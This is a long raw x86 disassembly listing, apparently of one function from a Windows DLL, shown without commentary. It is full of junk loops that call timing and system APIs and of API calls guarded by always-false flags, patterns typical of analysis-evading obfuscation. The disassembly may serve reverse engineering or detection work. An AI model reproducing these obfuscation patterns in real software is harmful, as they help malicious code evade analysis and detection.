cmp dword [ebp - 0x4dc], 0x5f58
jge 0x1003c30a
and dword [ebp - 0x67c], 0
jmp 0x1003c262
mov eax, dword [ebp - 0x67c]
inc eax
mov dword [ebp - 0x67c], eax
cmp dword [ebp - 0x67c], 0x36b9
jge 0x1003c305
and dword [ebp - 0x2fc], 0
jmp 0x1003c288
mov eax, dword [ebp - 0x2fc]
inc eax
mov dword [ebp - 0x2fc], eax
cmp dword [ebp - 0x2fc], 0xe57
jge 0x1003c300
mov eax, dword [ebp - 0x67c]
sub eax, dword [ebp - 0x2fc]
xor eax, dword [ebp - 0x4dc]
cdq
mov dword [ebp - 0x11b4], eax
mov dword [ebp - 0x11b0], edx
call dword [sym.imp.KERNEL32.dll_GetLastError]
mov dword [ebp - 0x19b8], eax
push dword [ebp - 0x11b0]
push dword [ebp - 0x11b4]
lea ecx, [ebp - 0x2254]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x1020], eax
mov ecx, dword [ebp - 0x1020]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x2254]
call fcn.100252df
jmp 0x1003c27b
jmp 0x1003c255
jmp 0x1003c22f
cmp dword [ebp - 0xea0], 0x4e0e
jge 0x1003c322
push dword [ebp - 0x1444]
call fcn.1008287d
pop ecx
mov dword [ebp - 0x304], 0x48bbca63
mov byte [ebp - 0x146], 0
movzx eax, byte [ebp - 0x146]
test eax, eax
je 0x1003c350
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_MoveWindow]
mov dword [ebp - 0x304], 0
jmp 0x1003c369
mov eax, dword [ebp - 0x304]
dec eax
mov dword [ebp - 0x304], eax
cmp dword [ebp - 0x304], 0xffffffea
je 0x1003c4a5
mov byte [ebp - 0x185], 0
movzx eax, byte [ebp - 0x185]
test eax, eax
je 0x1003c396
push 0
push 0
push 0
push 0
call dword [sym.imp.GDI32.dll_SetDIBColorTable]
mov byte [ebp - 0x189], 0
movzx eax, byte [ebp - 0x189]
test eax, eax
je 0x1003c4a0
mov dword [ebp - 0x8d8], 0x2044
mov dword [ebp - 0x13b0], 0x10009d60
cmp dword [ebp - 0x8d8], 0x2166
jle 0x1003c480
and dword [ebp - 0x5cc], 0
jmp 0x1003c3e6
mov eax, dword [ebp - 0x5cc]
inc eax
mov dword [ebp - 0x5cc], eax
cmp dword [ebp - 0x5cc], 0x7575
jge 0x1003c480
and dword [ebp - 0x30c], 0
jmp 0x1003c40c
mov eax, dword [ebp - 0x30c]
inc eax
mov dword [ebp - 0x30c], eax
cmp dword [ebp - 0x30c], 0x4468
jge 0x1003c47b
mov eax, dword [ebp - 0x5cc]
add eax, dword [ebp - 0x30c]
cdq
mov dword [ebp - 0x11c0], eax
mov dword [ebp - 0x11bc], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x1b10], eax
push dword [ebp - 0x11bc]
push dword [ebp - 0x11c0]
lea ecx, [ebp - 0x1e88]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x1028], eax
mov ecx, dword [ebp - 0x1028]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x1e88]
call fcn.100252df
jmp 0x1003c3ff
jmp 0x1003c3d9
push 0
call dword [sym.imp.GDI32.dll_SaveDC]
cmp dword [ebp - 0x8d8], 0x1dbc
jge 0x1003c4a0
push dword [ebp - 0x13b0]
call fcn.1008287d
pop ecx
jmp 0x1003c35c
push 3
lea ecx, [ebp - 0x168c]
call fcn.100254f9
mov dword [ebp - 4], 4
mov dword [ebp - 0x1a0], 0x394643cd
mov dword [ebp - 0x4e4], 0
jmp 0x1003c4dc
mov eax, dword [ebp - 0x4e4]
inc eax
mov dword [ebp - 0x4e4], eax
cmp dword [ebp - 0x4e4], 3
jge 0x1003c4fe
push dword [ebp - 0x4e4]
lea ecx, [ebp - 0x168c]
call fcn.10025597
mov dword [eax], 0xc93b
jmp 0x1003c4cf
mov dword [ebp - 0x1a0], 2
jmp 0x1003c517
mov eax, dword [ebp - 0x1a0]
dec eax
mov dword [ebp - 0x1a0], eax
cmp dword [ebp - 0x1a0], 0
jl 0x1003c6db
mov dword [ebp - 0x4ec], 0x9609c3fb
mov byte [ebp - 0x14b], 0
mov dword [ebp - 0xc28], 0x299d
mov dword [ebp - 0x144c], 0x10009db0
cmp dword [ebp - 0xc28], 0x2d71
jle 0x1003c63f
and dword [ebp - 0x31c], 0
jmp 0x1003c56f
mov eax, dword [ebp - 0x31c]
inc eax
mov dword [ebp - 0x31c], eax
cmp dword [ebp - 0x31c], 0x62e4
jge 0x1003c63f
and dword [ebp - 0x314], 0
jmp 0x1003c595
mov eax, dword [ebp - 0x314]
inc eax
mov dword [ebp - 0x314], eax
cmp dword [ebp - 0x314], 0x74e1
jge 0x1003c63a
and dword [ebp - 0x644], 0
jmp 0x1003c5bb
mov eax, dword [ebp - 0x644]
inc eax
mov dword [ebp - 0x644], eax
cmp dword [ebp - 0x644], 0x62f9
jge 0x1003c635
mov eax, dword [ebp - 0x314]
imul eax, dword [ebp - 0x644]
add eax, dword [ebp - 0x31c]
cdq
mov dword [ebp - 0x11cc], eax
mov dword [ebp - 0x11c8], edx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov word [ebp - 0x14d4], ax
push dword [ebp - 0x11c8]
push dword [ebp - 0x11cc]
lea ecx, [ebp - 0x211c]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x1030], eax
mov ecx, dword [ebp - 0x1030]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x211c]
call fcn.100252df
jmp 0x1003c5ae
jmp 0x1003c588
jmp 0x1003c562
movzx eax, byte [ebp - 0x14b]
test eax, eax
je 0x1003c656
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_SetSecurityDescriptorOwner]
cmp dword [ebp - 0xc28], 0x2846
jge 0x1003c66e
push dword [ebp - 0x144c]
call fcn.1008287d
pop ecx
mov dword [ebp - 0x4ec], 0
jmp 0x1003c687
mov eax, dword [ebp - 0x4ec]
inc eax
mov dword [ebp - 0x4ec], eax
cmp dword [ebp - 0x4ec], 2
jg 0x1003c6d6
mov byte [ebp - 0x125], 0
movzx eax, byte [ebp - 0x125]
test eax, eax
je 0x1003c6ac
push 0
push 0
call dword [sym.imp.USER32.dll_UnregisterClassA]
push dword [ebp - 0x1a0]
lea ecx, [ebp - 0x168c]
call fcn.10025597
mov esi, eax
push dword [ebp - 0x1a0]
lea ecx, [ebp - 0x168c]
call fcn.10025597
mov ecx, dword [esi]
mov dword [eax], ecx
jmp 0x1003c67a
jmp 0x1003c50a
mov byte [ebp - 0x14d], 0
movzx eax, byte [ebp - 0x14d]
test eax, eax
je 0x1003c6f9
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_AdjustWindowRect]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x168c]
call fcn.1002557b
cmp dword [0x1009a00c], 0
jne 0x100419b7
push 4
lea ecx, [ebp - 0x157c]
call fcn.100254f9
mov dword [ebp - 4], 5
mov dword [ebp - 0x8e0], 0x5050
mov dword [ebp - 0x13bc], 0x10009de8
cmp dword [ebp - 0x8e0], 0x52f2
jle 0x1003c868
and dword [ebp - 0x324], 0
jmp 0x1003c763
mov eax, dword [ebp - 0x324]
inc eax
mov dword [ebp - 0x324], eax
cmp dword [ebp - 0x324], 0x5e9
jge 0x1003c868
and dword [ebp - 0x5d4], 0
jmp 0x1003c789
mov eax, dword [ebp - 0x5d4]
inc eax
mov dword [ebp - 0x5d4], eax
cmp dword [ebp - 0x5d4], 0x422f
jge 0x1003c863
and dword [ebp - 0x32c], 0
jmp 0x1003c7af
mov eax, dword [ebp - 0x32c]
inc eax
mov dword [ebp - 0x32c], eax
cmp dword [ebp - 0x32c], 0x4fe8
jge 0x1003c85e
and dword [ebp - 0x4f4], 0
jmp 0x1003c7d5
mov eax, dword [ebp - 0x4f4]
inc eax
mov dword [ebp - 0x4f4], eax
cmp dword [ebp - 0x4f4], 0x558d
jge 0x1003c859
mov eax, dword [ebp - 0x324]
mov ecx, dword [ebp - 0x5d4]
shl eax, cl
mov edx, dword [ebp - 0x32c]
mov ecx, dword [ebp - 0x4f4]
sar edx, cl
xor eax, edx
cdq
mov dword [ebp - 0x11d8], eax
mov dword [ebp - 0x11d4], edx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x19c0], eax
push dword [ebp - 0x11d4]
push dword [ebp - 0x11d8]
lea ecx, [ebp - 0x1eb8]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x1038], eax
mov ecx, dword [ebp - 0x1038]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x1eb8]
call fcn.100252df
jmp 0x1003c7c8
jmp 0x1003c7a2
jmp 0x1003c77c
jmp 0x1003c756
mov dword [ebp - 0xf8], 0xfffffffc
cmp dword [ebp - 0x8e0], 0x4d50
jge 0x1003c88a
push dword [ebp - 0x13bc]
call fcn.1008287d
pop ecx
mov dword [ebp - 0x13c8], 0x2c593c86
mov dword [ebp - 0x1060], 0xfffffffb
mov dword [ebp - 0x1b18], 0xb4b5a9ce
mov dword [ebp - 0x19c8], 0x578cca6
mov dword [ebp - 0x1048], 0x2305aba9
mov dword [ebp - 0x10], 0
jmp 0x1003c8cc
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 4
jge 0x1003c8e8
push dword [ebp - 0x10]
lea ecx, [ebp - 0x157c]
call fcn.10025597
mov dword [eax], 1
jmp 0x1003c8c5
mov dword [ebp - 0x10], 0
jmp 0x1003c8f8
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1003c90e
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1d34], 0x5cd1d2a6
jmp 0x1003c8f1
mov dword [ebp - 0x10], 0
jmp 0x1003c91e
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 2
jge 0x1003c934
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1ae0], 0
jmp 0x1003c917
mov dword [ebp - 0x10], 0
jmp 0x1003c944
mov eax, dword [ebp - 0x10]
inc eax
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 3
jge 0x1003c95a
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x1cb8], 0x12f6
jmp 0x1003c93d
mov dword [ebp - 0xf8], 3
jmp 0x1003c973
mov eax, dword [ebp - 0xf8]
dec eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0
jl 0x1003cf51
mov dword [ebp - 0x84], 0xa772304b
mov dword [ebp - 0x900], 0xccedb775
mov dword [ebp - 0x8f0], 2
mov dword [ebp - 0x84], 0
jmp 0x1003c9b7
mov eax, dword [ebp - 0x84]
inc eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 3
jg 0x1003c9de
mov byte [ebp - 0x148], 0
movzx eax, byte [ebp - 0x148]
test eax, eax
je 0x1003c9dc
push 0
push 0
call dword [sym.imp.USER32.dll_CopyRect]
jmp 0x1003c9aa
mov dword [ebp - 0x84], 3
jmp 0x1003c9f7
mov eax, dword [ebp - 0x84]
dec eax
mov dword [ebp - 0x84], eax
cmp dword [ebp - 0x84], 0
jl 0x1003cf4c
mov dword [ebp - 0x1b20], 0xffffffff
mov dword [ebp - 0x758], 0xffff
mov dword [ebp - 0x334], 0
jmp 0x1003ca31
mov eax, dword [ebp - 0x334]
inc eax
mov dword [ebp - 0x334], eax
cmp dword [ebp - 0x334], 1
jge 0x1003ca4d
mov eax, dword [ebp - 0x334]
mov dword [ebp + eax*4 - 0x1464], 1
jmp 0x1003ca24
cmp dword [ebp - 0x84], 0
je 0x1003cad2
mov eax, dword [ebp - 0x758]
mov dword [ebp - 0x1040], eax
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0x1454], eax
mov eax, dword [ebp - 0x758]
dec eax
mov dword [ebp - 0x758], eax
mov eax, dword [ebp - 0x1040]
cmp eax, dword [ebp - 0x1454]
jne 0x1003ca95
mov dword [ebp - 0xdd0], 1
jmp 0x1003ca9c
and dword [ebp - 0xdd0], 0
mov eax, dword [ebp - 0x1048]
cmp dword [ebp - 0xdd0], eax
jge 0x1003cab6
mov dword [ebp - 0x8e8], 1
jmp 0x1003cabd
and dword [ebp - 0x8e8], 0
cmp dword [ebp - 0x8e8], 0xfffffff6
jae 0x1003cad2
mov dword [ebp - 0xc30], 1
jmp 0x1003cad9
and dword [ebp - 0xc30], 0
mov eax, dword [ebp - 0x13c8]
add eax, dword [ebp - 0xc30]
cmp eax, 0x1ec2
jne 0x1003caf8
mov dword [ebp - 0x1050], 1
jmp 0x1003caff
and dword [ebp - 0x1050], 0
push dword [ebp - 0x84]
lea ecx, [ebp - 0x157c]
call fcn.10025597
mov dword [ebp - 0x145c], eax
push dword [ebp - 0xf8]
lea ecx, [ebp - 0x157c]
call fcn.10025597
mov ecx, dword [ebp - 0x145c]
mov eax, dword [eax]
mov dword [ecx], eax
cmp dword [ebp - 0xf8], 0
je 0x1003cb4f
mov eax, 0x449e
test eax, eax
je 0x1003cb4f
mov dword [ebp - 0x1058], 1
jmp 0x1003cb56
and dword [ebp - 0x1058], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1ae0]
mov dword [ebp - 0x19d0], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x8f0]
cmp dword [ebp + eax - 0x1cb8], ecx
jge 0x1003cb89
mov dword [ebp - 0xf5c], 1
jmp 0x1003cb90
and dword [ebp - 0xf5c], 0
mov eax, dword [ebp - 0x8f0]
cmp dword [ebp - 0xf5c], eax
jne 0x1003cbaa
mov dword [ebp - 0x13d4], 1
jmp 0x1003cbb1
and dword [ebp - 0x13d4], 0
cmp dword [ebp - 0x900], 0xe6ee
je 0x1003cbc9
mov dword [ebp - 0x8f8], 1
jmp 0x1003cbd0
and dword [ebp - 0x8f8], 0
mov eax, dword [ebp - 0x1060]
cmp dword [ebp - 0x8f8], eax
jle 0x1003cbea
mov dword [ebp - 0xc38], 1
jmp 0x1003cbf1
and dword [ebp - 0xc38], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x1464]
cmp dword [ebp - 0xc38], eax
jge 0x1003cc12
mov dword [ebp - 0xdd8], 1
jmp 0x1003cc19
and dword [ebp - 0xdd8], 0
mov eax, dword [ebp - 0x900]
cmp dword [ebp - 0xdd8], eax
jge 0x1003cc33
mov dword [ebp - 0x908], 1
jmp 0x1003cc3a
and dword [ebp - 0x908], 0
xor eax, eax
sub eax, dword [ebp - 0x908]
je 0x1003cf13
mov dword [ebp - 0xc40], 0x7310
mov dword [ebp - 0x13e0], 0x10009e30
cmp dword [ebp - 0xc40], 0x73f5
jle 0x1003cd84
and dword [ebp - 0x344], 0
jmp 0x1003cc82
mov eax, dword [ebp - 0x344]
inc eax
mov dword [ebp - 0x344], eax
cmp dword [ebp - 0x344], 0x7539
jge 0x1003cd84
and dword [ebp - 0x69c], 0
jmp 0x1003cca8
mov eax, dword [ebp - 0x69c]
inc eax
mov dword [ebp - 0x69c], eax
cmp dword [ebp - 0x69c], 0x559d
jge 0x1003cd7f
and dword [ebp - 0x33c], 0
jmp 0x1003ccce
mov eax, dword [ebp - 0x33c]
inc eax
mov dword [ebp - 0x33c], eax
cmp dword [ebp - 0x33c], 0x2d4a
jge 0x1003cd7a
and dword [ebp - 0x4fc], 0
jmp 0x1003ccf4
mov eax, dword [ebp - 0x4fc]
inc eax
mov dword [ebp - 0x4fc], eax
cmp dword [ebp - 0x4fc], 0x4323
jge 0x1003cd75
mov eax, dword [ebp - 0x69c]
cdq
idiv dword [ebp - 0x33c]
add edx, dword [ebp - 0x4fc]
xor edx, dword [ebp - 0x344]
mov eax, edx
cdq
mov dword [ebp - 0x11e4], eax
mov dword [ebp - 0x11e0], edx
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [ebp - 0x1b28], eax
push dword [ebp - 0x11e0]
push dword [ebp - 0x11e4]
lea ecx, [ebp - 0x226c]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x1068], eax
mov ecx, dword [ebp - 0x1068]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x226c]
call fcn.100252df
jmp 0x1003cce7
jmp 0x1003ccc1
jmp 0x1003cc9b
jmp 0x1003cc75
mov byte [ebp - 0x16d], 0
cmp dword [ebp - 0xc40], 0x6fd5
jge 0x1003cda3
push dword [ebp - 0x13e0]
call fcn.1008287d
pop ecx
movzx eax, byte [ebp - 0x16d]
test eax, eax
je 0x1003cf11
mov dword [ebp - 0x910], 0x627a
mov dword [ebp - 0x146c], 0x10009e58
cmp dword [ebp - 0x910], 0x62ed
jle 0x1003cef1
and dword [ebp - 0x5dc], 0
jmp 0x1003cdec
mov eax, dword [ebp - 0x5dc]
inc eax
mov dword [ebp - 0x5dc], eax
cmp dword [ebp - 0x5dc], 0x2bbf
jge 0x1003cef1
and dword [ebp - 0x34c], 0
jmp 0x1003ce12
mov eax, dword [ebp - 0x34c]
inc eax
mov dword [ebp - 0x34c], eax
cmp dword [ebp - 0x34c], 0x3eaa
jge 0x1003ceec
and dword [ebp - 0x504], 0
jmp 0x1003ce38
mov eax, dword [ebp - 0x504]
inc eax
mov dword [ebp - 0x504], eax
cmp dword [ebp - 0x504], 0x5bf3
jge 0x1003cee7
and dword [ebp - 0x354], 0
jmp 0x1003ce5e
mov eax, dword [ebp - 0x354]
inc eax
mov dword [ebp - 0x354], eax
cmp dword [ebp - 0x354], 0xaaa
jge 0x1003cee2
mov eax, dword [ebp - 0x5dc]
cdq
idiv dword [ebp - 0x34c]
mov eax, dword [ebp - 0x504]
mov ecx, dword [ebp - 0x354]
sar eax, cl
or eax, edx
cdq
mov dword [ebp - 0x11f0], eax
mov dword [ebp - 0x11ec], edx
call dword [sym.imp.KERNEL32.dll_GetSystemDefaultLangID]
mov word [ebp - 0x14dc], ax
push dword [ebp - 0x11ec]
push dword [ebp - 0x11f0]
lea ecx, [ebp - 0x1ee8]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x1070], eax
mov ecx, dword [ebp - 0x1070]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x1ee8]
call fcn.100252df
jmp 0x1003ce51
jmp 0x1003ce2b
jmp 0x1003ce05
jmp 0x1003cddf
push 0
call dword [sym.imp.GDI32.dll_GetStockObject]
cmp dword [ebp - 0x910], 0x621c
jge 0x1003cf11
push dword [ebp - 0x146c]
call fcn.1008287d
pop ecx
jmp 0x1003cf2f
mov byte [ebp - 0x14a], 0
movzx eax, byte [ebp - 0x14a]
test eax, eax
je 0x1003cf2f
push 0
push 0
call dword [sym.imp.USER32.dll_IsDlgButtonChecked]
push dword [ebp - 0xf8]
lea ecx, [ebp - 0x157c]
call fcn.10025597
cmp dword [eax], 0
je 0x1003cf47
jmp 0x1003cf4c
jmp 0x1003c9ea
jmp 0x1003c966
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x157c]
call fcn.1002557b
mov dword [ebp - 0x1078], 0x3a4a
lea eax, [ebp - 0x1078]
push eax
call fcn.100339bf
pop ecx
mov dword [ebp - 0xd70], eax
mov dword [ebp - 0x58], 0xfffffffc
push 1
lea ecx, [ebp - 0x1698]
call fcn.100254f9
mov dword [ebp - 4], 6
mov dword [ebp - 0xb8], 0
jmp 0x1003cfb1
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 1
jge 0x1003cfd3
push dword [ebp - 0xb8]
lea ecx, [ebp - 0x1698]
call fcn.10025597
mov dword [eax], 0x58163090
jmp 0x1003cfa4
mov dword [ebp - 0xb8], 0
jmp 0x1003cfec
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 1
jge 0x1003d008
mov eax, dword [ebp - 0xb8]
mov dword [ebp + eax*4 - 0x1474], 3
jmp 0x1003cfdf
mov dword [ebp - 0x58], 0x19
jmp 0x1003d018
mov eax, dword [ebp - 0x58]
dec eax
mov dword [ebp - 0x58], eax
cmp dword [ebp - 0x58], 7
jg 0x1003d320
mov dword [ebp - 0x700], 1
mov dword [ebp - 0x940], 1
mov dword [ebp - 0x13ec], 3
mov dword [ebp - 0x64c], 0
jmp 0x1003d059
mov eax, dword [ebp - 0x64c]
inc eax
mov dword [ebp - 0x64c], eax
cmp dword [ebp - 0x64c], 3
jge 0x1003d075
mov eax, dword [ebp - 0x64c]
mov dword [ebp + eax*4 - 0x1858], 0xffffffff
jmp 0x1003d04c
cmp dword [ebp - 0x700], 0
je 0x1003d1c3
push 3
lea ecx, [ebp - 0x158c]
call fcn.100254f9
mov byte [ebp - 4], 7
mov dword [ebp - 0x35c], 0
jmp 0x1003d0ac
mov eax, dword [ebp - 0x35c]
inc eax
mov dword [ebp - 0x35c], eax
cmp dword [ebp - 0x35c], 3
jge 0x1003d0ce
push dword [ebp - 0x35c]
lea ecx, [ebp - 0x158c]
call fcn.10025597
mov dword [eax], 0xf4ffcf33
jmp 0x1003d09f
push 0
lea ecx, [ebp - 0x158c]
call fcn.10025597
cmp dword [eax], 0
jne 0x1003d0e9
cmp dword [ebp - 0x58], 0x9e9d60a2
jbe 0x1003d0fe
mov eax, 0x6ee97341
test eax, eax
je 0x1003d0fe
mov dword [ebp - 0xea8], 1
jmp 0x1003d105
and dword [ebp - 0xea8], 0
cmp dword [ebp - 0xea8], 0xf934f545
jae 0x1003d11d
mov dword [ebp - 0x918], 1
jmp 0x1003d124
and dword [ebp - 0x918], 0
push 1
lea ecx, [ebp - 0x158c]
call fcn.10025597
mov ecx, dword [ebp - 0x918]
cmp ecx, dword [eax]
je 0x1003d147
mov dword [ebp - 0xc48], 1
jmp 0x1003d14e
and dword [ebp - 0xc48], 0
mov esi, dword [ebp - 0xc48]
sub esi, 0x71e477ec
push 0
lea ecx, [ebp - 0x158c]
call fcn.10025597
cmp esi, dword [eax]
jge 0x1003d177
mov dword [ebp - 0x920], 1
jmp 0x1003d17e
and dword [ebp - 0x920], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x920], eax
jl 0x1003d195
mov dword [ebp - 0xde0], 1
jmp 0x1003d19c
and dword [ebp - 0xde0], 0
mov eax, dword [ebp - 0x58]
imul eax, dword [ebp - 0xde0]
push 4
pop ecx
shl ecx, 1
mov dword [ebp + ecx - 0x1858], eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0x158c]
call fcn.1002557b
jmp 0x1003d1d8
push 4
pop eax
shl eax, 0
cmp dword [ebp + eax - 0x1858], 0
je 0x1003d1d8
jmp 0x1003d320
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x1858]
mov dword [ebp - 0x928], eax
push 0
lea ecx, [ebp - 0x1698]
call fcn.10025597
mov ecx, dword [ebp - 0x928]
mov dword [eax], ecx
cmp dword [ebp - 0x928], 0x1920b245
je 0x1003d217
mov dword [ebp - 0xc50], 1
jmp 0x1003d21e
and dword [ebp - 0xc50], 0
mov eax, dword [ebp - 0xc50]
inc eax
jne 0x1003d242
push 0
lea ecx, [ebp - 0x1698]
call fcn.10025597
cmp dword [eax], 0
jne 0x1003d242
and dword [ebp - 0x930], 0
jmp 0x1003d24c
mov dword [ebp - 0x930], 1
cmp dword [ebp - 0x930], 0x4f32b7b8
je 0x1003d264
mov dword [ebp - 0xf2c], 1
jmp 0x1003d26b
and dword [ebp - 0xf2c], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0xf2c], eax
jge 0x1003d282
mov dword [ebp - 0x938], 1
jmp 0x1003d289
and dword [ebp - 0x938], 0
mov eax, dword [ebp - 0x58]
cmp dword [ebp - 0x938], eax
jl 0x1003d2a0
mov dword [ebp - 0xc58], 1
jmp 0x1003d2a7
and dword [ebp - 0xc58], 0
mov eax, dword [ebp - 0xc58]
mov dword [ebp - 0x940], eax
mov eax, dword [ebp - 0x940]
imul eax, dword [ebp - 0x13ec]
cmp eax, 0x1456
je 0x1003d2d3
mov dword [ebp - 0x1080], 1
jmp 0x1003d2da
and dword [ebp - 0x1080], 0
mov eax, dword [ebp - 0x700]
mov dword [ebp - 0x19d8], eax
imul eax, dword [ebp - 0x58], 0x6e8
cmp eax, dword [ebp - 0x700]
jg 0x1003d301
mov dword [ebp - 0xde8], 1
jmp 0x1003d308
and dword [ebp - 0xde8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xde8]
mov dword [ebp + eax - 0x1474], ecx
jmp 0x1003d011
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1698]
call fcn.1002557b
mov dword [ebp - 0x50], 0xa439beb0
mov dword [ebp - 0x100], 2
mov dword [ebp - 0x948], 0x28cf
mov dword [ebp - 0x13f8], 0x10009e78
cmp dword [ebp - 0x948], 0x29a9
jle 0x1003d414
and dword [ebp - 0x50c], 0
jmp 0x1003d37a
mov eax, dword [ebp - 0x50c]
inc eax
mov dword [ebp - 0x50c], eax
cmp dword [ebp - 0x50c], 0x4e97
jge 0x1003d414
and dword [ebp - 0x364], 0
jmp 0x1003d3a0
mov eax, dword [ebp - 0x364]
inc eax
mov dword [ebp - 0x364], eax
cmp dword [ebp - 0x364], 0x40e0
jge 0x1003d40f
mov eax, dword [ebp - 0x50c]
add eax, dword [ebp - 0x364]
cdq
mov dword [ebp - 0x11fc], eax
mov dword [ebp - 0x11f8], edx
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
mov dword [ebp - 0x1b30], eax
push dword [ebp - 0x11f8]
push dword [ebp - 0x11fc]
lea ecx, [ebp - 0x214c]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x1088], eax
mov ecx, dword [ebp - 0x1088]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x214c]
call fcn.100252df
jmp 0x1003d393
jmp 0x1003d36d
mov dword [ebp - 0x1c8], 0
cmp dword [ebp - 0x948], 0x27b1
jge 0x1003d436
push dword [ebp - 0x13f8]
call fcn.1008287d
pop ecx
mov dword [ebp - 0x37c], 0x954eb856
mov dword [ebp - 0x5e4], 0
jmp 0x1003d459
mov eax, dword [ebp - 0x5e4]
inc eax
mov dword [ebp - 0x5e4], eax
cmp dword [ebp - 0x5e4], 2
jge 0x1003d475
mov eax, dword [ebp - 0x5e4]
mov dword [ebp + eax*4 - 0x7b0], 0xfffffffb
jmp 0x1003d44c
mov dword [ebp - 0x50], 0
jmp 0x1003d485
mov eax, dword [ebp - 0x50]
inc eax
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 1
jg 0x1003da77
mov dword [ebp - 0x110], 0xd013
mov dword [ebp - 0x17a4], 7
mov dword [ebp - 0x17a0], 7
mov dword [ebp - 0x179c], 7
mov dword [ebp - 0x1798], 7
lea ecx, [ebp - 0x795]
call fcn.100255a6
push eax
lea eax, [ebp - 0x1794]
push eax
lea eax, [ebp - 0x17a4]
push eax
lea ecx, [ebp - 0x1d4c]
call fcn.100255a9
push dword [eax + 4]
push dword [eax]
lea ecx, [ebp - 0x16c8]
call fcn.10025555
mov dword [ebp - 4], 8
push 4
lea ecx, [ebp - 0x16b0]
call fcn.100254f9
mov byte [ebp - 4], 9
mov dword [ebp - 0xc60], 0x1950
mov dword [ebp - 0x147c], 0x10009e98
cmp dword [ebp - 0xc60], 0x1d05
jle 0x1003d61a
and dword [ebp - 0x36c], 0
jmp 0x1003d548
mov eax, dword [ebp - 0x36c]
inc eax
mov dword [ebp - 0x36c], eax
cmp dword [ebp - 0x36c], 0x4e89
jge 0x1003d61a
and dword [ebp - 0x514], 0
jmp 0x1003d56e
mov eax, dword [ebp - 0x514]
inc eax
mov dword [ebp - 0x514], eax
cmp dword [ebp - 0x514], 0x7688
jge 0x1003d615
and dword [ebp - 0x374], 0
jmp 0x1003d594
mov eax, dword [ebp - 0x374]
inc eax
mov dword [ebp - 0x374], eax
cmp dword [ebp - 0x374], 0x4399
jge 0x1003d610
mov eax, dword [ebp - 0x36c]
mov ecx, dword [ebp - 0x514]
sar eax, cl
mov ecx, dword [ebp - 0x374]
sar eax, cl
cdq
mov dword [ebp - 0x1208], eax
mov dword [ebp - 0x1204], edx
call dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov dword [ebp - 0x19e0], eax
push dword [ebp - 0x1204]
push dword [ebp - 0x1208]
lea ecx, [ebp - 0x1f18]
call fcn.1001147b
pop ecx
pop ecx
mov dword [ebp - 0x1090], eax
mov ecx, dword [ebp - 0x1090]
call fcn.100252e9
push eax
call fcn.1008287d
pop ecx
lea ecx, [ebp - 0x1f18]
call fcn.100252df
jmp 0x1003d587
jmp 0x1003d561
jmp 0x1003d53b
mov dword [ebp - 0x1410], 0
cmp dword [ebp - 0xc60], 0x193e
jge 0x1003d63c
push dword [ebp - 0x147c]
call fcn.1008287d
pop ecx
mov dword [ebp - 0xa0], 0
jmp 0x1003d655
mov eax, dword [ebp - 0xa0]
inc eax
mov dword [ebp - 0xa0], eax
cmp dword [ebp - 0xa0], 4
jge 0x1003d674
push dword [ebp - 0xa0]
lea ecx, [ebp - 0x16b0]
call fcn.10025597
and dword [eax], 0
jmp 0x1003d648
mov dword [ebp - 0xa0], 0
jmp 0x1003d68d
mov eax, dword [ebp - 0xa0]
inc eax
